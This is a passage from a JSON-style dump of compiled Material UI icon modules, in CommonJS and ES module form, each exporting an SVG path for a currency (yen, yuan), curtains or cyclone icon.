    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuan.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuan');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuan.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuan');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-.55 0-1-.45-1-1v-6H7c-.55 0-1-.45-1-1s.45-1 1-1h3.72L5.98 4.54C5.55 3.87 6.03 3 6.82 3c.34 0 .66.17.84.46L12 10.29l4.34-6.83c.18-.29.5-.46.84-.46.79 0 1.27.87.84 1.54L13.28 12H17c.55 0 1 .45 1 1s-.45 1-1 1h-4v6c0 .55-.45 1-1 1\"\n}), 'CurrencyYuanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-.55 0-1-.45-1-1v-6H7c-.55 0-1-.45-1-1s.45-1 1-1h3.72L5.98 4.54C5.55 3.87 6.03 3 6.82 3c.34 0 .66.17.84.46L12 10.29l4.34-6.83c.18-.29.5-.46.84-.46.79 0 1.27.87.84 1.54L13.28 12H17c.55 0 1 .45 1 1s-.45 1-1 1h-4v6c0 .55-.45 1-1 1\"\n}), 'CurrencyYuanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYuanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.28 12H18v2h-5v7h-2v-7H6v-2h4.72L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYuanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Curtains.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM8.19 12c2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7\"\n}), 'Curtains');"
  },
  {
    "path": "packages/mui-icons-material/lib/Curtains.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM8.19 12c2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7\"\n}), 'Curtains');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM11 5h2v14h-2z\"\n}), 'CurtainsClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM11 5h2v14h-2z\"\n}), 'CurtainsClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5v14h-2V5zM6 5h3v14H6zm9 14V5h3v14z\"\n}), 'CurtainsClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5v14h-2V5zM6 5h3v14H6zm9 14V5h3v14z\"\n}), 'CurtainsClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM11 5h2v14h-2z\"\n}), 'CurtainsClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM11 5h2v14h-2z\"\n}), 'CurtainsClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM11 5h2v14h-2z\"\n}), 'CurtainsClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM11 5h2v14h-2z\"\n}), 'CurtainsClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5h3v14H6zm9 0h3v14h-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM9 19H6V5h3zm4 0h-2V5h2zm5 0h-3V5h3z\"\n}, \"1\")], 'CurtainsClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsClosedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5h3v14H6zm9 0h3v14h-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM9 19H6V5h3zm4 0h-2V5h2zm5 0h-3V5h3z\"\n}, \"1\")], 'CurtainsClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-2-8.14c-2.05-.58-3.64-2.93-3.94-5.86H18zM15.81 12c-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7 2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7M9.94 5c-.3 2.93-1.89 5.27-3.94 5.86V5zM6 13.14c2.05.58 3.64 2.93 3.94 5.86H6zM14.06 19c.3-2.93 1.89-5.27 3.94-5.86V19z\"\n}), 'CurtainsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-2-8.14c-2.05-.58-3.64-2.93-3.94-5.86H18zM15.81 12c-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7 2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7M9.94 5c-.3 2.93-1.89 5.27-3.94 5.86V5zM6 13.14c2.05.58 3.64 2.93 3.94 5.86H6zM14.06 19c.3-2.93 1.89-5.27 3.94-5.86V19z\"\n}), 'CurtainsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM8.19 12c2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7\"\n}), 'CurtainsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM8.19 12c2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7\"\n}), 'CurtainsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM8.19 12c2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7\"\n}), 'CurtainsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM8.19 12c2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7h-.09c-.26-3.06-1.72-5.65-3.76-7\"\n}), 'CurtainsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13.14V19h3.94c-.3-2.93-1.89-5.27-3.94-5.86M9.94 5H6v5.86C8.05 10.27 9.64 7.93 9.94 5m4.12 14H18v-5.86c-2.05.59-3.64 2.93-3.94 5.86M18 10.86V5h-3.94c.3 2.93 1.89 5.27 3.94 5.86\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 5h3.94c-.3 2.93-1.89 5.27-3.94 5.86zm0 14v-5.86c2.05.58 3.64 2.93 3.94 5.86zm5.95 0c-.26-3.06-1.72-5.65-3.76-7 2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7zM18 19h-3.94c.3-2.93 1.89-5.27 3.94-5.86zm0-8.14c-2.05-.58-3.64-2.93-3.94-5.86H18z\"\n}, \"1\")], 'CurtainsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurtainsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13.14V19h3.94c-.3-2.93-1.89-5.27-3.94-5.86M9.94 5H6v5.86C8.05 10.27 9.64 7.93 9.94 5m4.12 14H18v-5.86c-2.05.59-3.64 2.93-3.94 5.86M18 10.86V5h-3.94c.3 2.93 1.89 5.27 3.94 5.86\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 5h3.94c-.3 2.93-1.89 5.27-3.94 5.86zm0 14v-5.86c2.05.58 3.64 2.93 3.94 5.86zm5.95 0c-.26-3.06-1.72-5.65-3.76-7 2.04-1.35 3.5-3.94 3.76-7h.09c.26 3.06 1.72 5.65 3.76 7-2.04 1.35-3.5 3.94-3.76 7zM18 19h-3.94c.3-2.93 1.89-5.27 3.94-5.86zm0-8.14c-2.05-.58-3.64-2.93-3.94-5.86H18z\"\n}, \"1\")], 'CurtainsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cyclone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.47V5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.13 2.4.4 4.24 1.01M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'Cyclone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cyclone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.47V5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.13 2.4.4 4.24 1.01M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'Cyclone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.47V5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.13 2.4.4 4.24 1.01M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'CycloneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.47V5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.13 2.4.4 4.24 1.01M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'CycloneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneRounded.js",
